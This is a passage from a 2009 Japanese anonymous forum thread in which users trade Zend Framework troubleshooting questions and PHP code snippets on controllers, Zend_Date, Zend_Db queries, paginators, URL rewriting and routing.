ています。
特に、defaultディレクトリの意味がわかりません。

疑問2)
また、サンプルの/controller_viewの中身を取り出して、
/var/www/application
/var/www/html/.htaccess
/var/www/html/index.phpとして
http://localhost/smarty/を実行してみましたがエラーが起きます
(フロントコントローラのapplicationへのパスは変更してあります)

続きます
485479:2009/08/08(土) 18:15:00 ID:JPFTqmJZ
続き

出力されるエラーは
[Fri Aug 07 15:54:04 2009] [error] [client 192.168.0.7] PHP Fatal
error: Uncaught exception Zend_Controller_Dispatcher_Exception with
message Inval id controller specified (error) in
/usr/lib/php/Zend/Controller/Dispatcher/Standard.php:241\nStack
trace:\n#0 /usr/lib/php/Zend/Controller/Front.php(9 36):
Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http),
Object(Zend_Controller_Response_Http))\n#1 /var/www/html/index
.php(19): Zend_Controller_Front->dispatch()\n#2 {main}\n thrown in
/usr/lib/php/Zend/Controller/Dispatcher/Standard.php on line 241
です。
何が原因なのでしょうか?
486479:2009/08/08(土) 18:17:57 ID:JPFTqmJZ
フロントコントローラ(/var/www/html/index.php)は以下の通りです
<?php
define('APP', '../application');
require_once 'Zend/Controller/Front.php';
require_once 'Zend/Controller/Action/Helper/ViewRenderer.php';
require_once APP.'/Zend_View_Smarty.class.php';

$front = Zend_Controller_Front::getInstance();
$front->setControllerDirectory(APP.'/controllers');
$view = new Zend_View_Smarty();
$render = new Zend_Controller_Action_Helper_ViewRenderer($view);
$render->setViewBasePathSpec(APP.'/smarty')
->setViewScriptPathSpec(':module/:controller/:action.:suffix')
->setViewScriptPathNoControllerSpec(':action.:suffix')
->setViewSuffix('tpl');
Zend_Controller_Action_HelperBroker::addHelper($render);

//$front->setParam('noViewRenderer', TRUE);
$front->dispatch();
487nobodyさん:2009/08/08(土) 19:05:21 ID:???
>>484
モジュールディレクトリの指定がちゃんと出来てなさそう。
$front->addModuleDirectory()
それと $front->setBaseUrl() も出来てないから、
defaultモジュールになっているんじゃ?

>>486
> $render->setViewBasePathSpec(APP.'/smarty')
> ->setViewScriptPathSpec(':module/:controller/:action.:suffix')
> ->setViewScriptPathNoControllerSpec(':action.:suffix')
> ->setViewSuffix('tpl');

だから、

> ./application/smarty/templates/default/smarty/index.tpl

templatesがどこで出てきたのか失念しちまったが、他は指定通りになってるね。
./APP/smarty/templates/:module/:controller/:action.:suffix

ZF徹底入門は持っていないから、的外れならスマソ。
488479:2009/08/08(土) 19:41:03 ID:JPFTqmJZ
>>487
ありがとうございます
じっくりそのお返事読み込んで対応したいと思います
また質問することになったらすみません
本当にありがとうございました
489nobodyさん:2009/08/08(土) 22:54:11 ID:???
>>478
サンクス。
今落としてみたけど、目次ペインは文字化け、キーワードタブなしだった。
やっぱり暇見て作り直すよ。
490nobodyさん:2009/08/08(土) 23:16:15 ID:???
>>489
できたらちょーだいな
491489:2009/08/09(日) 05:25:45 ID:???
作った。
どこかのロダへ上げりゃいいのだろうけど、どこがいいのか調べるのも面倒なので、ブログに上げといた。
ttp://imadetato.com/item/365
492nobodyさん:2009/08/12(水) 16:33:11 ID:???
Zend_Db_Tableでグループ化するとキーが "table"."hoge" (クオーテーション含む)みたいになって扱いにくいので、
table.hoge として扱うことは出来ないでしょうか?
現状ではキーの取得のため $data['"table"."hoge"'] みたいにして取得しています。
493nobodyさん:2009/08/14(金) 22:41:36 ID:???
まず服を脱ぎます
494nobodyさん:2009/08/15(土) 23:23:59 ID:???
質問です。

CentOS 5.3 (PHP 5.1.6) + Zend Framework 1.9.1 で View ヘルパーの headLink 試してみたところエラーになりました。
headLink の getContainer() に ksort メソッドが無いというエラーでした。
調べていくと最終的には SPL の ArrayObject に ksort メソッドが存在しない、というところに行き着きました。
ArrayObject の ksort メソッドは PHP 5.1.0 以上ですのであるはずなのですが…
php.ini の設定や yum のインストールで何とかなるものでしょうか?
よろしくお願いします。

以下に yum でインストールした PHP の RPM を記します。
php-5.1.6-23.2.el5_3
php-bcmath-5.1.6-23.2.el5_3
php-cli-5.1.6-23.2.el5_3
php-common-5.1.6-23.2.el5_3
php-devel-5.1.6-23.2.el5_3
php-gd-5.1.6-23.2.el5_3
php-imap-5.1.6-23.2.el5_3
php-mbstring-5.1.6-23.2.el5_3
php-mcrypt-5.1.6-15.el5.centos.1
php-mhash-5.1.6-15.el5.centos.1
php-mysql-5.1.6-23.2.el5_3
php-pdo-5.1.6-23.2.el5_3
php-pear-1.4.9-4.el5.1
php-pgsql-5.1.6-23.2.el5_3
php-snmp-5.1.6-23.2.el5_3
php-soap-5.1.6-23.2.el5_3
php-tidy-5.1.6-15.el5.centos.1
php-xml-5.1.6-23.2.el5_3
php-xmlrpc-5.1.6-23.2.el5_3
495nobodyさん:2009/08/16(日) 00:58:56 ID:???
>>494
細かい事はわからんが、一応1.9.0から5.2.4以上推奨だったお。
496nobodyさん:2009/08/16(日) 19:22:09 ID:???
Zend_Application_Bootstrapを使用しています。
application.iniを指定して情報を読み込んでいますが、
その情報をコントローラ内から読み取るにはどうすれば取得できるでしょうか。
497nobodyさん:2009/08/17(月) 14:22:21 ID:???
configから取れば良いんでない?
498nobodyさん:2009/08/17(月) 22:15:51 ID:GH8UY0nu
>>496
public function indexAction()
{
$options = $this->getInvokeArg('bootstrap')->getOptions();
}

これで取れると思う。
499nobodyさん:2009/08/18(火) 16:19:10 ID:???
>>498
ありがとうございます。でけました。

>>492の情報もあればお願いします。
500nobodyさん:2009/08/18(火) 16:36:34 ID:???
>>499
カラム名に別名付ければ良いんでない?
501nobodyさん:2009/08/18(火) 21:46:09 ID:???
Zend_Validateを動的に使うときって、毎回
require_once('Zend/Validate/StringLength.php');
require_once('Zend/Validate/Alnum.php');
require_once('Zend/Validate/Alpha.php');
require_once('Zend/Validate/Iban.php');
とか並べにゃならんの?
502nobodyさん:2009/08/18(火) 22:50:59 ID:???
autoload使えば並べなくてもいいけど、
パフォーマンスは割と落ちる。
503nobodyさん:2009/08/19(水) 12:08:12 ID:???
>>500
ちょっと詳しくお願いします。
AS hogeみたいにするってことでしょうか?
504nobodyさん:2009/08/19(水) 13:07:53 ID:???
えっ?
505nobodyさん:2009/08/19(水) 14:48:26 ID:???
>>503
そう
506nobodyさん:2009/08/20(木) 09:49:21 ID:???
zf.sh create project quickstart
ってやると
Action 'create' is not a valid action.
てエラーになるんだけど、なんで?
PHP 5.2.6-3ubuntu4.1 with Suhosin-Patch 0.9.6.2 (cli)
507506:2009/08/21(金) 12:26:09 ID:???
俺だけかよ...orz
ちなみにsvnのstandard/trunk最新版でも同じだた
508nobodyさん:2009/08/21(金) 12:44:36 ID:???
そんくらいコード見て直せよ
509nobodyさん:2009/08/21(金) 14:35:04 ID:???
>>508
おま簡単なことみたいに言うなよ。めちゃ難しかったよ。
ああ言われたとおりコード追跡したよ、解決したよ。
でもぜってえ教えねえ、ググってここに来た奴ざまあw








ヒントはシンボリックリンクな
510nobodyさん:2009/08/21(金) 14:50:07 ID:???
// no links allowed here for now
if ($item->isLink()) {
continue;
}
511nobodyさん:2009/08/21(金) 15:46:36 ID:???
大丈夫 zf 使ってる人自体レアだから!
512nobodyさん:2009/08/21(金) 21:57:27 ID:???
>>506
Google Trendsでは日本語は10位にも入っていません。
http://www.google.co.jp/trends?q=zend+framework

多くの国の人が使う英語でレポートするか、
http://framework.zend.com/issues/secure/Dashboard.jspa

下記の国々で利用される機会が多めなロシア語でレポートすると
・旧ソ連諸国
・東欧圏
・それらの国からの移民が6分の一を占めるイスラエル(Zend Technologyはここ)
http://zendframework.ru/

きっと今よりも幸福になれると思いますよ
513nobodyさん:2009/08/22(土) 10:43:35 ID:???
if (1) {
$this->_forward('hoge');
}
todo();

IndexController::indexAction()内の処理で、上記のようにフォワードしたあとに下の処理が続行されてしまいます。
elseで囲ってやる以外にフォワードしたら下の処理を行わないようにする方法はないでしょうか?
514nobodyさん:2009/08/22(土) 14:23:39 ID:???
$this->_forwardの次の行にreturn;を書くとか
515nobodyさん:2009/08/22(土) 14:52:21 ID:???
>>514
!!!!
!!!!

thanks desu
516nobodyさん:2009/08/22(土) 23:24:18 ID:???
Zend Frameworkにサイトマップを作成する機能はありませんか?
バリデータは存在しました。
517nobodyさん:2009/08/23(日) 13:31:15 ID:???
>>491
htmlのソース見れば分かるけど、?になってるのは " " (26 23 31 36 30 3B)だよ。
%20か に置換してやるか、消してからsjisに変換してやればおk
518nobodyさん:2009/08/23(日) 14:08:05 ID:???
Zend_View()のエスケープ時のエンコードの設定をbootstrapでやりたいのですが、
$view = new Zend_View();
$view->setEncoding('utf-8');
Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer')->setView($view);
以外に方法はないでしょうか?
getInstance()的なのがあるとありがたいのですが
519nobodyさん:2009/08/23(日) 15:49:38 ID:???
getEngine
520nobodyさん:2009/08/23(日) 16:04:16 ID:???
>>519
結局Viewを作成しなければならないみたいですね。
public staticなものはないようですね。
521nobodyさん:2009/08/23(日) 18:59:09 ID:???
Smartyをレイアウトに組み込んでるんだが、どうにもうまくいきません。
↓エラーはこんな感じです。
[plugin] modifier 'sanitize' is not implemented

modifierの'sanitize' を読み込むように設定されてるみたいなので、
↓この部分をコメントアウトしましたが、変化なし。
$this->_smarty->default_modifiers=array("sanitize");

sanitizeでプロジェクト内を文字列検索してみましたが、それっぽい
記述がなくて困ってます。どうしたら、解決しますか?

参考URL
http://wadslab.net/2008/03/zend_view_smarty/
522nobodyさん:2009/08/24(月) 21:39:16 ID:???
ZendFrameworkを使うことを前提とした、フリーのPHPプログラムはないですか?
プログラムは掲示板でもブログでもなんでもいいのですが、
「ZendFrameworkはこう使うべきである!」みたいな強烈なコードを読みたいです。
523nobodyさん:2009/08/24(月) 21:43:21 ID:???
公式マニュアルのサンプル読むと使い方も載ってるよ
524nobodyさん:2009/08/24(月) 22:08:56 ID:???
モデルの設計とか
効率的な使い方とか
そういうのを参考にしたいんだろう
俺は知らん
525nobodyさん:2009/08/25(火) 01:33:59 ID:???
526nobodyさん:2009/08/28(金) 13:40:37 ID:???
1回のアクセスごとに処理が2回行われているようなのですが、原因が分かりません。
フロントコントローラ部分(index.php)のdispatch以前に以下のようなコードを記述すると2回記録されています。
file_put_contents('./hoge.txt',microtime(true)."\n",FILE_APPEND);
よろしければ他のサーバーの方上記の結果をお願いします。

XREA+CGIモードでPHPを動かしていますが、同じような方いらっしゃいませんか?

.htaccessは以下の通りです
RewriteCond %{REQUEST_FILENAME} -s [OR]
RewriteCond %{REQUEST_FILENAME} -l [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [L]
RewriteRule ^.*$ index.php [L]
527nobodyさん:2009/08/28(金) 17:04:52 ID:???
httpサーバのアクセスログはどうなってる
そのRewriteルールだと、実態のないディレクトリ・ファイルは
全部フロントコントローラに投げる設定になってる
528nobodyさん:2009/08/28(金) 19:04:06 ID:???
>>525
Magentoのソースってすんごく読みにくいんだけど
529nobodyさん:2009/08/28(金) 20:22:32 ID:???
>>527
favicon.icoを取得しに来ていました。
おっしゃっている通り、該当ファイルがないためこっちにリクエストが来ていたようです。

しかしその問題は解決したのですが、フィルター処理が2回行われてしまっています。
マニュアル通りZend_Filter_Interfaceを継承してコントローラ内で$this->view->setFilter('Filtername')をしています。
書き換え処理を行わず、Zend_View_Filter_Filtername::filter()内に先ほどのロギング処理を追加すると2回記録されています。

動作環境は先ほどの通りです。
フィルターを使用している方に同様の現象はありませんでしょうか?

530nobodyさん:2009/08/31(月) 02:25:49 ID:qG683i9+
zend_dateでカレンダーを出力したいんだけどどうしたら良いですか?
自分の考えでは、
1)2009-08-01をスタートにループまわして(どの月でも30回)、
2)日にち部分を02,03と一つずつ増やして、
3)出来た日付(2009-08-32)を検証し、日付として不適切なら出力停止
…という感じです。
が、いかにも頭悪そう。スマートな実現方法を教えてくれると嬉しいです。
どんな風に作ったら良いのか、皆さんご意見お願いします。
531nobodyさん:2009/08/31(月) 03:10:03 ID:???
JavaScriptを使えばいい。
jqueryとかYUIとか
532nobodyさん:2009/08/31(月) 03:23:02 ID:???
「Zend_Dateで」って言われるとこんな感じかな?

$s = new Zend_Date('2009-08-01');
$e = clone $s;
$e->add(1,Zend_Date::MONTH);
do {
echo $s->toString('d') . "\n";
$s->add(1,Zend_Date::DAY);
} while ($d->isEarlier($e));
533nobodyさん:2009/08/31(月) 03:23:45 ID:qG683i9+
>>531
ありがとうございます! javascriptですか…、確かに一発で表示してくれる機能ありますね
phpとzendFW(zend_dateほか)だけで作るとしたらどうしたら良いでしょうか?
スケジューラーのイベント一覧みたいにしたいんですが
というか、>>530のやり方で問題ないでしょうかねぇ? 自分で思うほど変じゃないかな?
慣れ親しんだこれまでと同じやり方でやるってのは進歩がないようで落ち着かないんですが…
534nobodyさん:2009/08/31(月) 03:26:39 ID:qG683i9+
>>532
おお、こんな時間にありがとうございます
do while文?がもうよくわからないですが、、
今このソースを貼り付けて実行したら、真っ白な背景に1とだけ表示されました
どういう結果を表示するプログラムなんでしょうか?
535nobodyさん:2009/08/31(月) 03:37:33 ID:???
>>534
最後の行をtypoしてた
} while ($s->isEarlier($e));

と最初の行は
$s = new Zend_Date('2009-08-01',Zend_Date::ISO_8601);
ってしておいた方がいいかな。
536nobodyさん:2009/08/31(月) 03:54:27 ID:???
いちいち、サーバーサイドで生成するのも面倒じゃない?
携帯サイトなの?
537nobodyさん:2009/08/31(月) 04:35:41 ID:???
>>535
わー、全ての日付が出ました! ありがとうございます!
コードの解読から始めます。ホントにありがとう

>>534
携帯向けとPC向け両方です。
javascriptで作る方法紹介してくれた人ですか?
今の自分のスキルではajaxとかまで手が回らないしPHP,zendの知識を深めたいので
とりあえずこちらのやり方を選びました。ありがとうございました。
538nobodyさん:2009/09/05(土) 22:07:05 ID:Dg9afmXE
zendFWでpearのPager使ってる人います?
今利用してるんですが、ページ送りが動作しません。リンクを押してもずっと最初のページのままです。
原因がこれなのかはわからないですが、
/hobby/user/123
にセットしたPegerのリンクを押していくと
/hobby/user/123/?pgr=2
/hobby/user/123//?pgr=3
/hobby/user/123///?pgr=1
となっていきます。(ページ番号を押した分だけ?前の/が増えていく)
これはzendFWでPager使った場合の正常な動作なんでしょうか?

Pagerの利用自体は、同じサイトないのzend領域外のページで成功してるので
まちがいはないつもりですが、zendFWで特別に注意するポイントがあるのかな?

ご意見いただけると嬉しいです。よろしくお願いします。
539nobodyさん:2009/09/05(土) 23:22:04 ID:???
Zend_Paginatorてのがあってだな
540nobodyさん:2009/09/05(土) 23:31:58 ID:???
>>539
うわあああ ホントだ!1日無駄にした!
どうもありがとう。。。
541nobodyさん:2009/09/06(日) 00:45:20 ID:???
まあ最初の方はなかったものだしね

Zend_ArchiveとZend_Mediaまだー?
542nobodyさん:2009/09/06(日) 01:09:18 ID:JiBjCO1T
>>540です。教えてもらって今zend_paginator触りだしたんですが、これの長所として
「指定したクエリにマッチするすべての行を取得するのではなく、
DbSelect アダプタや DbTableSelect アダプタは 現在のページの表示のための必要最小限のデータのみを取得します。」
ってあるけど、これってクエリ結果をzend_cacheでキャッシュ化しておくよりも全然有利ってことかな?
イメージ的にはキャッシュにした場合の方が負荷とか楽そうだけど…
(データのアップデートにあわせて抽出できるというのはわかるけど)

あと、ページングのIDや対象アクション・コントローラを設定する.iniを作る必要があるみたいだけど
複数のアクション(コントローラ)にページャーつける度にこういう設定ファイル用意するのかな?
共通化できないものなんだろうか。
実際に利用されてる方、これってPear::pagerよりも便利ですか?
543nobodyさん:2009/09/07(月) 13:45:48 ID:???
>>542
ただ単に使う時に使う分だけfetchしますよって話だったと思う
使ったことないけど確か簡単にZend_Cacheと組み合わせれたかと

たぶんZend_Controller_Router_Route使うって事だと思うけど、設定ファイルは普通1つでいいよ
ルート毎にpageってパラメータの受け取り方を書くだけ
Router使わないんだったらコントローラのなかで setCurrentPageNumber($this->_getParam('pid'))
かな、、あんまりお得はないと思う

共通化については、コントローラで言うとgetPaginatorぐらいかな、共通の親クラスにでも突っ込めばおk
viewについては、ページネイタ用のパーシャル作っとけば大抵使い回しできるよ(Router必須)

ってイメージ和姦だろうな〜 まず使って見れ
544nobodyさん:2009/09/07(月) 15:42:13 ID:???
共通化のとこ、余談だけど
よっぽど似てる処理なら同じコントローラの同じアクションにルーティングしてしまうってのもありかもな
$routeName = $this->getFrontController()->getRouter()->getCurrentRouteName();
switch ($routeName) {
}
$this->render($routeName);
545nobodyさん:2009/09/08(火) 00:37:49 ID:???
546nobodyさん:2009/09/08(火) 02:27:55 ID:???
>>545
This is a book. You see?
547542:2009/09/08(火) 02:38:09 ID:???
>>543-544
ありがとうございました
正直チンプンカンプンです。zendFWの構造の理解不足が露呈してしまった
もう一度マニュアル読み直しから始めます。ありがとう
548nobodyさん:2009/09/08(火) 21:53:51 ID:qSoCHGpf
以下の形でクエリを実行すると(Zend_DB)、エラーになります。が、引数の$uId,$uType,$limitを直接?の部分に入れて
プリペアドステートメント方式(?)をやめてクエリすると結果が返ってきます
何が原因でしょうか?

function report($uId,$uType,$limit){//$evYmはYYYY/MM
 $table1 = $this->_config->table->table1;
 $table2 = $this->_config->table->table2;
 $table3 = $this->_config->table->table3;
 $rs = $this->_db->fetchAll("
  SELECT
  {$table1}.reportTitle ,
  {$table2}.evName ,
  {$table2}.evDay ,
  {$table3}.player ,
  FROM (
  {$table1}
  LEFT JOIN {$table2}
  ON {$table1}.evId = {$table2}.id
  )
  LEFT JOIN {$table3}
  ON {$table1}.evId = {$table3}.evId
  WHERE {$table1}.uId = ?
  AND {$table1}.uType = ?
  ORDER BY {$table1}.evDay, {$table2}.startTime1
  limit ?
  ",
  array($uId,$uType,$limit)
 );
 return $rs;
}
549nobodyさん:2009/09/08(火) 22:01:21 ID:???
SQLクエリ覗くか、エラーメッセージ読めばいいんでない?
550nobodyさん:2009/09/08(火) 22:28:35 ID:???
>>549
どういうわけか limitをLIMITと大文字にしたら解決しました
その後limitに戻しても動作してます
わけわからないですが解決しました。ありがとうございました。
551nobodyさん:2009/09/11(金) 15:51:16 ID:???
原因不明のままでも解決すれば満足してしまうのか・・
552nobodyさん:2009/09/11(金) 18:36:33 ID:???
>>551

テキトーなレベルが多いんだよ
553nobodyさん:2009/09/12(土) 06:36:52 ID:???
PEARのQuickFormを使っていた身にとって、Zend_Formはなかなか慣れない。
特にfreeze()メソッドが無いあたりが...。
Zend_Configで要素を定義できるのは楽なんだが、その分表示で苦労するというか
なかなか頭が切りかわらねぇ(´・ω・`)
554nobodyさん:2009/09/14(月) 08:48:30 ID:???
>>553
pearでもzendでも、フォーム関連ってjavascriptとの連携フレキシブルにできるもの?
プルダウンの初期値によって以降の項目を非表示にするとか入力不可能にするとか。。
もしくはフォーム要素のnameを変えるとか
quickformやzend_formの存在知らずに全部スクラッチで書いて後悔気味なんだけど
そういうの柔軟に対応できるなら勉強し直そうかなぁ
555nobodyさん:2009/09/15(火) 18:16:25 ID:???
質問です。

VISTA+IIS7.0+PHP5.2.10 の環境でZend Frameworkが動くか実験中です。
目的はFastCGIを利用すると、利用しない場合よりもどのくらい高速になるかです。

IIS7.0にFastCGIは標準で入っているので、URL Rewriteモジュールをインストールし、
----
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^.*$ - [NC,L]
RewriteRule ^.*$ public/index.php [NC,L]
----
上記をサイトトップで読み込ませて、サイトトップフォルダ直下にWeb.configファイルを作成したところ、最初の画面は表示されたのですが、次画面以降
URL Rewriteが上手く動作してなく、ページが見つからないというエラーで終了してしまいます。

Zend Frameworkを利用したphpサイトにおいて、URL Rewriteモジュールはどのように設定すべきなのでしょうか?
※ Zend FrameworkのDocumentを見る限り、IIS7.0で動作すると書かれているので、動くと思うのですが。
556nobodyさん:2009/09/15(火) 18:31:05 ID:???
Rewrite自体のエラーなのか、
PHPは実行されるがエラーが表示されるのか、
どっちだ?
557nobodyさん:2009/09/15(火) 18:37:51 ID:???
>>556
Zend FrameworkのFile Not Foundエラーぽいです
なので、フレンドリーURLだけが認識していないっぽいです
558nobodyさん:2009/09/15(火) 18:40:00 ID:???
>>557
ルーターや、ルクエストの中身を確認してみれ。
559nobodyさん:2009/09/15(火) 18:47:18 ID:???
>>557
了解です!!
560555:2009/09/15(火) 19:17:52 ID:???
根本的なことを教えてください。
度々の質問すみません。

IIS7.0で標準で用意されているDefault Web Site(物理パス C:\Inetpub\wwwroot)の下にZFで作成されたphpソースをごっそり配置でOK?
どこかの物理パスにZFで作成されたphpソースをごっそり配置して、新たにWebサイトを追加する際、publicフォルダ下を指定でOK?

調査した結果、多分そこらへんの根本的なサイト作成部分から間違っていそうです。
561nobodyさん:2009/09/16(水) 09:40:35 ID:???
IISでのRewrite設定ってXML形式じゃないのか?
ISAPI_Rewriteを使ってるならmod_rewriteと同じ記述みたいだけど
562nobodyさん:2009/09/17(木) 21:54:53 ID:+ukzFmCv
どうでもいいんだけど、メンバーを管理するクラスってMemberController?MembersController?
563nobodyさん:2009/09/17(木) 23:06:10 ID:???
DBじゃあるまいしコントローラ名は好きなほうでいいんじゃないの
564nobodyさん:2009/09/17(木) 23:32:04 ID:???
URL的に /users/xxx より /user/xxxx の方がしっくり来るのでsは付けていないかな
好みでいいと思う。
565nobodyさん:2009/09/19(土) 15:10:47 ID:???
>>562
ひょっとしてCakePHP使ってた?
あっちは単数複数間違えるととたんにおかしくなるからね。
ZFはその辺で余計なことはしないので、好きに決めればいい。
566nobodyさん:2009/09/19(土) 15:36:15 ID:???
CakePHPイクナイ
567nobodyさん:2009/09/20(日) 19:58:18 ID:???
ビュースクリプトからアクションコントローラにアクセスするにはどうすればいいんでしょうか?
568nobodyさん:2009/09/20(日) 20:47:10 ID:???
無理矢理呼べは呼べるけどやっちゃいかんよ
569nobodyさん:2009/09/21(月) 08:31:25 ID:???
actionっていうビューヘルパーがあるけど、使わない方がいいね。なるべく。
570nobodyさん:2009/09/23(水) 15:26:57 ID:???
To-doリストの
OpenID 2.0 (7.3) XRI and Yadis discovery
はいつ対応されるんだー
571nobodyさん:2009/09/23(水) 16:53:31 ID:???
>>570
英語で聞くべし
572nobodyさん:2009/09/25(金) 21:19:55 ID:???
1.9になってさApplication_Resourceいっぱい出たけどRecource_Configみたいなのって
誰か作ってないの?
573570:2009/09/25(金) 21:34:47 ID:???
>>571
前に一度聞いてみたんだけど・・・日本語じゃ返事無くてあたりまえか。
英語できないし;
574nobodyさん:2009/09/25(金) 21:46:22 ID:???
日本語で投稿したのか。それはまた勇気あるな
575nobodyさん:2009/09/26(土) 00:21:27 ID:???
>>572
普通にZend_Configではだめなん?
576nobodyさん:2009/09/26(土) 00:34:43 ID:???
configってのがややこしかったですが
アプリケーション全体で使う設定ファイルの初期設定みたいなリソースって無いのかなって
思ったんです
577nobodyさん:2009/09/27(日) 00:28:42 ID:???
>>576
1.9 なら application/config/application.ini に

resources.xxxx....

とか書いとけばいいんでは。
この辺の仕組みはかなり良くできてる。
578nobodyさん:2009/09/28(月) 22:56:59 ID:???
Zend_Applicationって全体的に中途半端ですね
579nobodyさん:2009/09/29(火) 12:23:38 ID:???
そもそも PHP自体中途半端
580nobodyさん:2009/09/29(火) 12:25:41 ID:???
完璧な言語って何
581nobodyさん:2009/09/29(火) 14:29:55 ID:???
アセンブラ
582nobodyさん:2009/09/29(火) 19:24:22 ID:???
>>580
アッラーの使い給うアラビア語
583nobodyさん:2009/09/29(火) 19:25:04 ID:???
アセンブリをアセンブラでアセンブル
584nobodyさん:2009/10/08(木) 20:34:18 ID:X59TR80D
質問します
ZendFWで検索フォームなど利用すると
/kensaku/index/param/100 で paramが100の場合の結果を返すけど、
フォームをjavascriptで document.fm.submit(); として実行したらURIは
/kensaku/index/?param=100 となって、これをzendFWは解析・実行してくれません
?param=100でクエリ実行するにはどうしたら良いですか?

/param/100に書き換えるんですか?(それはどうやったら良いのか。。)または、
?param=100を解析する処理があるんでしょうか?
585nobodyさん:2009/10/08(木) 20:35:44 ID:???
パラメータは普通の形式で渡せると思うけど?
586nobodyさん:2009/10/08(木) 20:39:52 ID:X59TR80D
早速ありがとうございます
?hoge1=100&hoge2=200 とかでも大丈夫ってことですか?
なんで上手くいかないんだろう…
587584:2009/10/08(木) 20:48:10 ID:X59TR80D
正確に書かせていただきます
$musicGenre = $this->getRequest()->getUserParam('m');
$rsRecommend = $this->_db->recommend($musicGenre);
echo $musicGenre;
という形で、getタイプのパラメータmを取得してそれを引数にし、対象のログをDBから引き出してるだけです
/search/index/m/5だったら動くんですが/search/index/?m=5だとダメなんです

echo $musicGenre;部分、?m=5の時は出力しません
なんでだろう
jsでURLを整形してlocation.hrefで飛ばすしかないのかな。そんな馬鹿な…
588nobodyさん:2009/10/08(木) 21:44:22 ID:???
getUserParam() では無く getParam() を使えばいい。
http://framework.zend.com/manual/ja/zend.controller.request.html
589584:2009/10/08(木) 23:48:30 ID:X59TR80D
>>588
アドバイスありがとうございます
あれこれ試した結果、getParam()では無理だったんですが、getQuery()なら大丈夫でした
なぜgetParam()でダメだったんでしょうか?
また、formの送信結果のURIが
/index/m/5/ の形にならず/index?m=5になるのはどうしようもないのでしょうか?
というか、この形で当たり前なのかな
590nobodyさん:2009/10/09(金) 01:36:49 ID:???
>>589
>なぜgetParam()でダメだったんでしょうか?
getParam() でのユーザパラメータ以外の取得
setParamSourcesの項目は読んだ?

> また、formの送信結果のURIが
> /index/m/5/ の形にならず/index?m=5になるのはどうしようもないのでしょうか?

formから GETメソッドで送信した場合はそうなります。
むしろ index/m/5/ の形式が特殊な書式で、プログラム側で無理矢理パラメータとして解釈しているのです。
(ここらへんはZendFWの仕様で無く、HTTP/HTMLの仕様です。)

どうしても /index/m/5/ の形式で送信したいのであれば、
JavaScriptでlocationを書き換えるような形で送信する事になります。
591nobodyさん:2009/10/09(金) 01:54:37 ID:???
actionにそう書けばいいじゃん
592584:2009/10/09(金) 02:13:23 ID:pakGzFf8
>>590
なるほど、ありがとうございました

>>591
アクションにそう書くというのはどうしたら良いんでしょうか?
良ければ教えてください
僕も590さんの言う、javascriptで書き換えるしか思いつきません
593nobodyさん:2009/10/09(金) 10:09:13 ID:???
ビューヘルパーのurlは見た?
594nobodyさん:2009/10/09(金) 18:19:17 ID:???
ねえ、これ流行ってないの?高い参考書買っちゃったんだけど失敗?
・・・ああ・・・おれ涙目orz....
595nobodyさん:2009/10/09(金) 18:35:16 ID:???
国内の人気的には
Cake > Symfony >>>>>> Zend
かな?

海外では
Symfony>Cake>>>Zend
という感じ?
596nobodyさん:2009/10/09(金) 19:12:29 ID:???
国内のSymfonyとZend逆だろ
597nobodyさん:2009/10/09(金) 20:04:41 ID:???
>>596
それはない。
598nobodyさん:2009/10/09(金) 20:05:28 ID:???
国内
Cake >>>>> Symfony >> Zend
599nobodyさん:2009/10/09(金) 20:17:43 ID:???
Zendを全面的に採用してるケースってあるのかね?
一部をライブラリ的に使ってるってのはあるけど。
600nobodyさん:2009/10/09(金) 21:23:35 ID:???
俺んとこ
まあ業務じゃなくてお遊び程度の部内管理システムだけど
601nobodyさん:2009/10/09(金) 22:39:55 ID:???
zfはmvcを自作できるから好いております
602nobodyさん:2009/10/09(金) 23:06:55 ID:???
大規模ポータルで使ってるようち
603584:2009/10/10(土) 01:21:23 ID:fTRVAJ6O
>>593
どうもありがとうございます
ビューヘルパーのurl、見たんですけど具体例がなくて今一理解できません
http://framework.zend.com/manual/ja/zend.view.helpers.html#zend.view.helpers.initial.baseurl

>url($urlOptions, $name, $reset): 指定したルートにもとづく URL 文字列を作成します。
>$urlOptions は、そのルートで使用する キー/値 のペアの配列となります。
と書いてあるだけで、どうつかったら良いのやら。

http://www.oplabo.jp/article/30
このページで紹介されてるのが「view helperのurl」なんでしょうか?
これをつかうと、/kensaku/index?var=10を/kensaku/index/var/10に自動的に書き換えたりできるんでしょうか?

また、今 localhost/student/index/sId/100 を localhost/student/100 や localhost/100としても
アクセスできるようにしたいと思っています。
これもview helperで制御できるものですか?
どうしたら良いんでしょうか? これはmodrewrite?

なんども申し訳ないですが、よろしくお願いします
604nobodyさん:2009/10/10(土) 03:20:38 ID:Li7fCuRP
>>603
ルーター書けよ
605nobodyさん:2009/10/10(土) 03:29:00 ID:???
>>603
そう。前半部分については、デフォルトのルーターでできるから、urlオプションで
コントローラーとアクションとパラメータを与えれば、/kensaku/index/var/10を
取得できるよ

後半のモジュールルートと違う形式にするときは、ルーターは書かなくていいけど、
ルートを定義する必要がある。
どっちにしても、routerのドキュメントも合わせて読みたい。
606nobodyさん:2009/10/10(土) 07:33:39 ID:???
Google Trends だとこんなもん
http://www.google.co.jp/trends?q=%22Zend+Framework%22%2C+%22CakePHP%22%2C+symfony%2C+codeigniter%2C+%22Ruby+on+Rails%22&ctab=0&geo=all&date=all&sort=0

symfonyだけ一般の単語でもあるから実態はもっと低いはず
ランキングもフランス語圏ばっかだし

CakePHPはアジアに強いな
日本に限定するとCakeが抜けててキモい
Zend Frameworkはなぜかチェコ(と東欧)が多い
ついでに足したRailsのバブルが落ち着いてるのがよく分かる

とにかく言えるのはどれも大差無いってことと
インドネシア人はPHPのフレームワークが大好きってことだな
まあ下らん比較してる暇あったらコード書けってのが正解だよきっと
607nobodyさん:2009/10/10(土) 07:42:48 ID:???
>>603
routes.student.route = "student/:sid"
routes.student.defaults.controller = "student"
routes.student.defaults.action = "detail"
routes.down.defaults.sid = ""

>>605 の言う通りまずはルーターのドキュメント読んでな
http://framework.zend.com/manual/ja/zend.controller.router.html
608584:2009/10/10(土) 08:35:15 ID:???
>>604,605,607
本当にありがとうございます
教えてもらったとこ勉強します、ありがとう!
609nobodyさん:2009/10/10(土) 08:44:26 ID:???
>>606
>symfonyだけ一般の単語でもあるから
これマジで言ってる?
ネタだよね?
